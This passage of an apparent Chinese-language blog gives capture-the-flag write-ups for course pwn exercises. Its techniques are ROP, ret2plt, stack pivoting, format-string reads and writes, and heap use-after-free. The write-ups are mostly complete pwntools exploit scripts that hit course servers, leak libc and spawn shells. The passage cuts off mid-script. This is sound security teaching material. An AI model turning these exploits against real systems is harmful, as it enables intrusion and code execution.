<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line"></div><div class="line">pop_rdx = <span class="number">0x4427e6</span></div><div class="line">pop_rsi = <span class="number">0x401577</span></div><div class="line">pop_rdi = <span class="number">0x401456</span></div><div class="line">syscall = <span class="number">0x4671b5</span></div><div class="line">pop_rax_rdx_rbx = <span class="number">0x478516</span></div><div class="line">mov_drdi_rsi = <span class="number">0x47a502</span></div><div class="line">buf = <span class="number">0x6c9a20</span></div><div class="line">r = remote(<span class="string">'csie.ctf.tw'</span>, <span class="number">10130</span>)</div><div class="line">context.arch = <span class="string">"amd64"</span>   </div><div class="line">payload = <span class="string">'a'</span>*<span class="number">40</span></div><div class="line">rop = flat([pop_rdi, buf, pop_rsi, <span class="string">"/bin/sh\x00"</span>, mov_drdi_rsi, pop_rsi, <span class="number">0</span>, pop_rax_rdx_rbx, <span class="number">0x3b</span>, <span class="number">0</span>, <span class="number">0</span>, syscall])</div><div class="line">payload += rop</div><div class="line">r.sendline(payload)</div><div class="line">r.interactive()</div></pre></td></tr></table></figure>
<p><code>FLAG{TAKEMY_REVENGE}</code></p>
<h2 id="5Bpractice_5D_ret2plt"><a href="#5Bpractice_5D_ret2plt" class="headerlink" title="[practice] ret2plt"></a>[practice] ret2plt</h2><p>exploit:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>  *</div><div class="line"></div><div class="line">puts_plt = <span class="number">0x4004e0</span></div><div class="line">puts_got = <span class="number">0x601018</span></div><div class="line">pop_rdi = <span class="number">0x4006f3</span></div><div class="line">puts_off = <span class="number">0x6f690</span></div><div class="line">system_off = <span class="number">0x45390</span></div><div class="line">sh_off = <span class="number">0x18cd17</span></div><div class="line">main = <span class="number">0x400636</span></div><div class="line"></div><div class="line">r = remote(<span class="string">'csie.ctf.tw'</span>, <span class="number">10131</span>)</div><div class="line"></div><div class="line">r.send(<span class="string">'a'</span>*<span class="number">40</span> + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) + <span class="string">"\n"</span>)</div><div class="line">r.recvline()</div><div class="line">a = r.recvline()</div><div class="line"><span class="keyword">print</span> a</div><div class="line">b = u64(a.strip().ljust(<span class="number">8</span>, <span class="string">"\x00"</span>))</div><div class="line"></div><div class="line">base = b - puts_off</div><div class="line">system = system_off + base</div><div class="line"><span class="keyword">print</span> <span class="string">'base:'</span>, base</div><div class="line"></div><div class="line">r.send(<span class="string">'a'</span>*<span class="number">40</span> + p64(pop_rdi) + p64(sh_off + base) + p64(system) + <span class="string">"\n"</span>)</div><div class="line">r.interactive()</div></pre></td></tr></table></figure>
<p><code>FLAG{YOUCAN_RET_2_EVERYWHERE}</code></p>
<h2 id="5Bpractice_5D_migr4ti0n"><a href="#5Bpractice_5D_migr4ti0n" class="headerlink" title="[practice] migr4ti0n"></a>[practice] migr4ti0n</h2><p>這題就是stack migration的練習<br>buffer太小時，用這招就可以無限串rop<br>overflow時，蓋rbp，把stack搬到一個可寫的buffer繼續串</p>
<p>exploit:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line"></div><div class="line">buf = <span class="number">0x602000</span> - <span class="number">0x200</span></div><div class="line">buf2 = buf + <span class="number">0x100</span></div><div class="line">pop_rbp = <span class="number">0x400558</span></div><div class="line">pop_rdi = <span class="number">0x4006b3</span></div><div class="line">pop_rsi_r15 = <span class="number">0x4006b1</span></div><div class="line">pop_rdx = <span class="number">0x4006d4</span></div><div class="line">leave = <span class="number">0x40064a</span></div><div class="line"></div><div class="line">read = <span class="number">0x4004e0</span></div><div class="line">puts = <span class="number">0x4004d8</span></div><div class="line">puts_got = <span class="number">0x600fd8</span></div><div class="line">puts_off = <span class="number">0x6f690</span></div><div class="line"></div><div class="line">padding = <span class="string">'a'</span> * (<span class="number">56</span> - <span class="number">8</span>)</div><div class="line"></div><div class="line">r = remote(<span class="string">'csie.ctf.tw'</span>, <span class="number">10132</span>)</div><div class="line"></div><div class="line">r.send(padding + p64(buf) + p64(pop_rdi) + p64(<span class="number">0x00</span>) + p64(pop_rsi_r15) + p64(buf) + p64(<span class="number">0x00</span>) + p64(pop_rdx) + p64(<span class="number">0x100</span>) + p64(read)+ p64(leave))</div><div class="line"></div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line"></div><div class="line"></div><div class="line">r.send(p64(buf2) + p64(pop_rdi) + p64(puts_got) + p64(puts) + p64(pop_rdi) + p64(<span class="number">0x0</span>) + p64(pop_rsi_r15) + p64(buf2) + p64(<span class="number">0x0</span>) + p64(pop_rdx) + p64(<span class="number">0x100</span>) + p64(read) + p64(leave) + <span class="string">"\n"</span>)</div><div class="line"></div><div class="line">r.recvuntil(<span class="string">"\n"</span>)</div><div class="line"></div><div class="line">addr = u64(r.recvuntil(<span class="string">"\n"</span>).strip().ljust(<span class="number">8</span>, <span class="string">"\x00"</span>))</div><div class="line">base = addr - puts_off</div><div class="line"><span class="keyword">print</span> addr</div><div class="line"><span class="keyword">print</span> base</div><div class="line"></div><div class="line">system = base + <span class="number">0x45390</span></div><div class="line"></div><div class="line">r.send(p64(buf) + p64(pop_rdi) + p64(buf2+<span class="number">4</span>*<span class="number">8</span>) + p64(system) + <span class="string">"/bin/sh\x00"</span> + <span class="string">"\n"</span>)</div><div class="line"></div><div class="line">r.interactive()</div></pre></td></tr></table></figure>
<p><code>FLAG{49796c31e88bf1c45fc21212693e07cd652296dd}</code></p>
<h2 id="5Bpractice_5D_cr4ck"><a href="#5Bpractice_5D_cr4ck" class="headerlink" title="[practice] cr4ck"></a>[practice] cr4ck</h2><p>這題就是簡單的fmt任意讀練習<br>塞flag buffer的位址，然後用<code>%7$s</code>去讀位址裡的值<br>64位元底下的位址，基本上都一定有NULL byte，所以通常都把位址塞最後<br>然後前面<code>%7$s</code>之類的字串，不足8 bytes的要padding補滿</p>
<p>payload:</p>
<p><code>perl -e &#39;print &quot;%7\$saaaa\xa0\x0b\x60\x00\x00\x00\x00\x00\n&quot;&#39; | nc csie.ctf.tw 10133</code></p>
<p>p.s. 在shell用perl送payload的時候，要記得用\跳脫$字號，不然會跟我一樣卡很久QQQQQ</p>
<p><code>FLAG{CRACKCR4CKCRaCK}</code></p>
<h2 id="5Bpractice_5D_craxme"><a href="#5Bpractice_5D_craxme" class="headerlink" title="[practice] craxme"></a>[practice] craxme</h2><p>就是個簡單的format string任意寫入的練習<br>把magic整個蓋成<code>0xda</code>即可<br>注意的地方就只有padding要算好</p>
<p>exploit:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line"></div><div class="line">magic = <span class="number">0x60106c</span></div><div class="line"></div><div class="line">r = remote(<span class="string">'csie.ctf.tw'</span>, <span class="number">10134</span>)</div><div class="line"></div><div class="line"><span class="comment"># "%218c%8$": %6$</span></div><div class="line"><span class="comment"># "naaaaaaa": %7$</span></div><div class="line"><span class="comment"># "magic": %8$</span></div><div class="line">r.sendline(<span class="string">"%218c%8$naaaaaaa"</span> + p64(magic))</div><div class="line">r.interactive()</div></pre></td></tr></table></figure>
<p><code>FLAG{JUST CRAXME!@_@}</code></p>
<h2 id="5Bpractice_5D_craxme_-_2"><a href="#5Bpractice_5D_craxme_-_2" class="headerlink" title="[practice] craxme - 2"></a>[practice] craxme - 2</h2><p>這題跟上一題大同小異，就只是蓋的數字比較大<br>一口氣蓋的話，IO會跑很久炸掉<br>這裡我分兩次蓋，一次蓋2 bytes</p>
<p>exploit:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line"></div><div class="line">magic = <span class="number">0x60106c</span></div><div class="line"></div><div class="line">r = remote(<span class="string">'csie.ctf.tw'</span>, <span class="number">10134</span>)</div><div class="line"><span class="comment">#r = remote('localhost', 31337)</span></div><div class="line"></div><div class="line">r.sendline(<span class="string">"%45068c%10$hn%19138c%11$hn......"</span> + p64(magic) + p64(magic+<span class="number">2</span>))</div><div class="line">r.interactive()</div></pre></td></tr></table></figure>
<p><code>FLAG{this is the second flag!!!! &gt;_&lt;}</code></p>
<h2 id="5Bpractice_5D_craxme_-_3"><a href="#5Bpractice_5D_craxme_-_3" class="headerlink" title="[practice] craxme - 3"></a>[practice] craxme - 3</h2><p>這題雖然跟前兩題一樣服務<br>但解法不太一樣，這題要拿shell才行</p>
<p>方法就是把puts got，蓋成main裡read那邊的位址<br>之後再把printf got，蓋成system got<br>最後read讀<code>/bin/sh\x00</code>，會被當作system參數<br>就get shell惹</p>
<p>比較麻煩的地方是，如果是用我下面那種寫法<br>要準確算好要寫幾個bytes，然後前面輸出了幾個bytes要搞清楚<br>不然寫到後面會有點亂</p>
<p>exploit:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line"></div><div class="line">r = remote(<span class="string">'csie.ctf.tw'</span>, <span class="number">10134</span>)</div><div class="line"><span class="comment">#r = remote('localhost', 10134)</span></div><div class="line"></div><div class="line">print_got = <span class="number">0x601030</span></div><div class="line">puts_got = <span class="number">0x601018</span></div><div class="line"></div><div class="line">r.sendline(<span class="string">"%13$n%64c%14$hn%15$n%1376c%16$hn%423c%17$hnaaaaaaaaaaaaa"</span> + p64(print_got + <span class="number">4</span>) + p64(print_got + <span class="number">2</span>) + p64(puts_got + <span class="number">2</span>) + p64(print_got) + p64(puts_got) + <span class="string">"/bin/sh\x00"</span>)</div><div class="line">r.send(<span class="string">"cat /home/craxme/S3cretflag\n"</span>)</div><div class="line"></div><div class="line">r.interactive()</div></pre></td></tr></table></figure>
<p><code>FLAG{YOUF0UNDtheSECRETFL4G!?}</code></p>
<h2 id="5Bhw3_5D_readme"><a href="#5Bhw3_5D_readme" class="headerlink" title="[hw3] readme"></a>[hw3] readme</h2><p>這題，它overflow剛好可以蓋到return address<br>看起來沒啥能利用的東西，串ROP又太短<br>但仔細觀察會發現，<code>read</code>讀的是從<code>rbp-0x20</code>開始讀<br>並且讀完之後，接著做的就是leave和ret<br>那就可以做stack migration(聽說正確名稱叫<code>stack pivoting</code>..)</p>
<p>就是蓋掉RBP之後，把return address蓋成main裡面的read那邊<br>這樣他就會把read讀到的東西，塞到我們指定的位址(<code>rbp-0x20</code>)裡面了(任意寫入!)<br>之後read完，做<code>leave ret</code>，就會把stack frame搬過去</p>
<p>而且read一樣可以讀48 bytes，一樣可以再蓋掉rbp和return address<br>就能無限寫入ROP chain</p>
<p>這邊我在做的時候遇到一個障礙，卡非常久<br>就是寫rop chain時，如果寫完一塊buffer<br>要再寫另一段rop chain，直接接在剛剛那塊後面<br>就會炸掉QQ</p>
<p>一開始完全想不通這樣哪邊會炸<br>追了一下才發現，read時，會蓋掉我們當前stack frame的返回位址<br>所以read裡面return時，就會跳到錯誤的位址QQ<br>詳細爆炸過程可以參考這個連結：<br><a href="https://drive.google.com/file/d/0B0u00oV7NdOiS19pNmczaEFhdFE/view?usp=sharing" target="_blank" rel="external">https://drive.google.com/file/d/0B0u00oV7NdOiS19pNmczaEFhdFE/view?usp=sharing</a></p>
<p>最後其中一個解決方法就是，再找一個buffer寫<br>可以跳過去之後，再回來接著寫，就不會炸了</p>
<p>然後因為沒有libc base<br>所以仔細觀察一下，發現read got跟write got其實只差最後1 byte<br>直接把read蓋成write<br>然後構造gadget，讓write去leak出write got entry的值<br>就能算libc base了</p>
<p>因為read被改掉了<br>可是我們接著還要繼續串rop<br>所以要先跳回去resolve read，還原read got</p>
<p>之後有了base之後就可以構造<code>system(&quot;/bin/sh&quot;)</code><br>或是直接跳<code>one gadget</code>拿shell</p>
<p>不過聽說這題有很多很多種解法<br>上課提示的好像是利用syscall<br>然後似乎也可以用撞的方式拿shell<br>要leak base的話，真的很麻煩=.=</p>
<p>exploit:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line"></div><div class="line">buf = <span class="number">0x601048</span></div><div class="line">buf2 = <span class="number">0x601700</span></div><div class="line">bufx = <span class="number">0x601c00</span></div><div class="line"></div><div class="line">pop_rbp = <span class="number">0x400560</span></div><div class="line">pop_rdi = <span class="number">0x4006b3</span></div><div class="line">pop_rsi_r15 = <span class="number">0x4006b1</span></div><div class="line">leave = <span class="number">0x400646</span></div><div class="line"></div><div class="line">read_plt = <span class="number">0x4004c0</span></div><div class="line">read_got = <span class="number">0x601020</span></div><div class="line">read = <span class="number">0x40062b</span></div><div class="line">read_res = <span class="number">0x4004c6</span></div><div class="line"></div><div class="line">nop = <span class="number">0x90</span></div><div class="line">padding = <span class="string">'a'</span> * (<span class="number">40</span> - <span class="number">8</span>)</div><div class="line"></div><div class="line"><span class="comment">#r = remote('localhost', 10135)</span></div><div class="line">r = remote(<span class="string">'140.112.31.96'</span>, <span class="number">10135</span>)</div><div class="line">context.arch = <span class="string">"amd64"</span></div><div class="line"></div><div class="line">r.send(padding + p64(buf + <span class="number">32</span>) + p64(read))</div><div class="line">r.send(p64(pop_rdi) + p64(<span class="number">0x1</span>) + p64(read_plt) + p64(pop_rbp) + p64(bufx + <span class="number">32</span>) + p64(read))</div><div class="line">r.send(p64(<span class="number">0x1bd2</span>) * <span class="number">4</span> + p64(buf + <span class="number">64</span>) + p64(read))</div><div class="line">r.send(p64(buf2) + p64(leave) + p64(<span class="number">0</span>) * <span class="number">2</span> + p64(bufx + <span class="number">32</span>) + p64(read))</div><div class="line">r.send(p64(<span class="number">0x1bd2</span>) * <span class="number">4</span> + p64(buf2 + <span class="number">32</span>) + p64(read))</div><div class="line">r.send(p64(bufx+<span class="number">0x20</span>) + p64(pop_rsi_r15) + p64(bufx) + p64(<span class="number">0</span>) + p64(bufx + <span class="number">32</span>) + p64(read))</div><div class="line">r.send(p64(<span class="number">0x1bd2</span>) * <span class="number">4</span> + p64(buf2 + <span class="number">64</span>) + p64(read))</div><div class="line">r.send(p64(pop_rdi) + p64(<span class="number">0</span>) + p64(read_res) + p64(leave) + p64(bufx + <span class="number">32</span>) + p64(read))</div><div class="line">r.send(p64(<span class="number">0x1bd2</span>) * <span class="number">4</span> + p64(read_got + <span class="number">0x20</span>) + p64(read))</div><div class="line">r.send(<span class="string">"\x80"</span>)</div><div class="line"></div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">a = u64(r.recv()[:<span class="number">8</span>])</div><div class="line"><span class="keyword">print</span> hex(a)</div><div class="line">write_off = <span class="number">0xf7280</span></div><div class="line"></div><div class="line">base = a - write_off</div><div class="line">one_gadget = <span class="number">0x4526a</span></div><div class="line"></div><div class="line">r.send(p64(pop_rdi) + p64(<span class="number">0x1</span>) + p64(read_plt) + p64(pop_rbp) + p64(read_got + <span class="number">0x20</span>) + p64(read))</div><div class="line">r.send(p64(one_gadget+ base))</div><div class="line">sleep(<span class="number">1</span>)</div><div class="line">r.sendline(<span class="string">"cat /home/readme/flag\nls\n"</span>)</div><div class="line"><span class="keyword">print</span> r.recv()</div></pre></td></tr></table></figure>
<p><code>FLAG{CAN_YOU_R34D_MY_M1ND?}</code></p>
<h2 id="5Bhw4_5D_fmtfun4u"><a href="#5Bhw4_5D_fmtfun4u" class="headerlink" title="[hw4] fmtfun4u"></a>[hw4] fmtfun4u</h2><p>這題原本是有限次數的做printf<br>可以去修改stack中i的值，來達到無限次printf<br>利用<code>%11</code>和<code>%37</code>的位址，可以對stack中的位址做間接寫入<br>而<code>libc_start_main+245</code>也在stack上，能被拿來leak libc base</p>
<p>最後一步，我們要控RIP<br>觀察、跟GDB，可以發現printf裡面會call <code>vprintf_internal</code><br>透過改寫他的return address，就能控RIP<br>但是一樣有個問題，一次寫太多bytes，I/O會炸掉<br>而且不能分次寫入，因為如果分次寫，到下一次寫前會call printf<br>就先Segmentation Fault了</p>
<p>這裡可以利用將返回位址改寫成<code>ret</code>的gadget<br>(沒錯，ret gadget剛好只有低位bytes跟原本return address不同)<br>再將真正要跳的位址(one gadget)，放在stack中return address的下一個位址<br>這樣我們vprintf返回時，會跳到ret gadget<br>然後再跳到我們one gadget的位址<br>就拿到shell了</p>
<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line"></div><div class="line">r = remote(<span class="string">'csie.ctf.tw'</span>, <span class="number">10136</span>)</div><div class="line"><span class="comment">#r = remote('localhost', 10136)</span></div><div class="line"></div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">r.send(<span class="string">"%6$p\n"</span>)</div><div class="line">addr = r.recvline()</div><div class="line">stk_base = int(addr,<span class="number">16</span>) - (<span class="number">14</span> * <span class="number">16</span>)     <span class="comment"># make %8 be base</span></div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">r.send(<span class="string">"%"</span> + str((stk_base - <span class="number">4</span>) % <span class="number">0x10000</span>) + <span class="string">"c%11$hn\n"</span>)</div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">r.send(<span class="string">"%30c%37$hhn\n"</span>)</div><div class="line"></div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">r.send(<span class="string">"%9$p\n"</span>)</div><div class="line">addr = r.recvline()</div><div class="line"><span class="keyword">print</span> addr</div><div class="line">base = int(addr,<span class="number">16</span>) - <span class="number">245</span> - <span class="number">0x20740</span></div><div class="line"></div><div class="line"></div><div class="line">one_gadget = <span class="number">0x4526a</span> + base</div><div class="line"></div><div class="line"><span class="keyword">print</span> <span class="string">"one gadget:"</span>, hex(one_gadget)</div><div class="line"></div><div class="line"></div><div class="line"><span class="comment"># leak code base</span></div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">r.send(<span class="string">"%16$p\n"</span>)</div><div class="line">addr = r.recvline()</div><div class="line"><span class="keyword">print</span> addr</div><div class="line">code_base = int(addr, <span class="number">16</span>) - <span class="number">0x830</span></div><div class="line"></div><div class="line">puts_got = code_base + <span class="number">0x200fb0</span></div><div class="line">libc_got = code_base + <span class="number">0x200fa0</span></div><div class="line"></div><div class="line"><span class="keyword">print</span> hex(one_gadget)</div><div class="line"><span class="keyword">print</span> hex((one_gadget) % <span class="number">0x10000</span>)</div><div class="line"><span class="keyword">print</span> hex((one_gadget / <span class="number">0x10000</span>) % <span class="number">0x10000</span>)</div><div class="line"><span class="keyword">print</span> hex((one_gadget / <span class="number">0x100000000</span>) % <span class="number">0x10000</span>)</div><div class="line"></div><div class="line"><span class="comment"># First, write one gadget into stack</span></div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">r.send(<span class="string">"%"</span> + str((stk_base - <span class="number">0x10</span>) % <span class="number">0x10000</span>) +<span class="string">"c%11$hn\n"</span>)</div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">r.send(<span class="string">"%"</span> + str((one_gadget) % <span class="number">0x10000</span>) +<span class="string">"c%37$hn\n"</span>)</div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">r.send(<span class="string">"%"</span> + str((stk_base - <span class="number">0x10</span> + <span class="number">2</span>) % <span class="number">0x10000</span>) +<span class="string">"c%11$hn\n"</span>)</div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">r.send(<span class="string">"%"</span> + str((one_gadget / <span class="number">0x10000</span>) % <span class="number">0x10000</span>) +<span class="string">"c%37$hn\n"</span>)</div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">r.send(<span class="string">"%"</span> + str((stk_base - <span class="number">0x10</span> + <span class="number">4</span>) % <span class="number">0x10000</span>) +<span class="string">"c%11$hn\n"</span>)</div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">r.send(<span class="string">"%"</span> + str((one_gadget / <span class="number">0x100000000</span>) % <span class="number">0x10000</span>) +<span class="string">"c%37$hn\n"</span>)</div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">r.send(<span class="string">"%"</span> + str((stk_base - <span class="number">0x10</span> + <span class="number">6</span>) % <span class="number">0x10000</span>) +<span class="string">"c%11$hn\n"</span>)</div><div class="line"></div><div class="line"></div><div class="line"><span class="comment"># Write ret gadget to printf return address  =&gt; return to the one gadget</span></div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">r.send(<span class="string">"%"</span> + str((stk_base - <span class="number">0x18</span>) % <span class="number">0x10000</span>) +<span class="string">"c%11$hn\n"</span>)  <span class="comment"># vprintf rbp - 0x28</span></div><div class="line">pause()</div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">r.send(<span class="string">"%"</span> + str((code_base + <span class="number">0x7c1</span>) % <span class="number">0x10000</span>) +<span class="string">"c%37$hn\n"</span>)</div><div class="line"></div><div class="line">r.interactive()</div></pre></td></tr></table></figure>
<p><code>FLAG{FEED_MY_TURTLE}</code></p>
<h2 id="5Bpractice_5D_hacknote"><a href="#5Bpractice_5D_hacknote" class="headerlink" title="[practice] hacknote"></a>[practice] hacknote</h2><p>這是我人生第一道heap題…<br>前年沒學heap，第一次搞花不少時間搞懂heap機制QQ</p>
<p>這題在考UAF<br>漏洞就是<code>free(notelist[idx]);</code>free完沒設成NULL</p>
<p>目標是note裡面的<code>printnote</code>這個function pointer<br>方法是做兩次add_note，然後分別free掉<br>最後再add_note，content size設跟note structure一樣大<br>這時note會被malloc到我們二個free掉的note<br>然後content會被malloc到第一個free掉的note<br>我們就可以藉由輸入content內容去控rip惹</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line"></div><div class="line">r = remote(<span class="string">'csie.ctf.tw'</span>, <span class="number">10137</span>)</div><div class="line"></div><div class="line">magic = <span class="number">0x400c23</span></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">add_note</span><span class="params">(size, content)</span>:</span></div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(<span class="string">"1"</span>)</div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(str(size))</div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(content)</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">del_note</span><span class="params">(idx)</span>:</span></div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(<span class="string">"2"</span>)</div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(str(idx))</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">print_note</span><span class="params">(idx)</span>:</span></div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(<span class="string">"3"</span>)</div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(str(idx))</div><div class="line"></div><div class="line"></div><div class="line">add_note(<span class="number">0x52</span>, <span class="string">"kai"</span>)</div><div class="line">add_note(<span class="number">0x78</span>, <span class="string">"bro"</span>)</div><div class="line">del_note(<span class="number">0</span>)</div><div class="line">del_note(<span class="number">1</span>)</div><div class="line">add_note(<span class="number">16</span>, p64(magic))</div><div class="line">print_note(<span class="number">0</span>)</div><div class="line">r.interactive()</div></pre></td></tr></table></figure>
<p><code>FLAG{YOUSHOULDTAKEnote~}</code></p>
<h2 id="5Bhw4_5D_hacknote2"><a href="#5Bhw4_5D_hacknote2" class="headerlink" title="[hw4] hacknote2"></a>[hw4] hacknote2</h2><p>這題跟<code>hacknote1</code>的洞一樣<br>只是call system被拔掉</p>
<p>我們可以先leak got算libc base<br>有base就可以算one gadget位址<br>之後直接跳過去one gadget就能拿shell了</p>
<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div 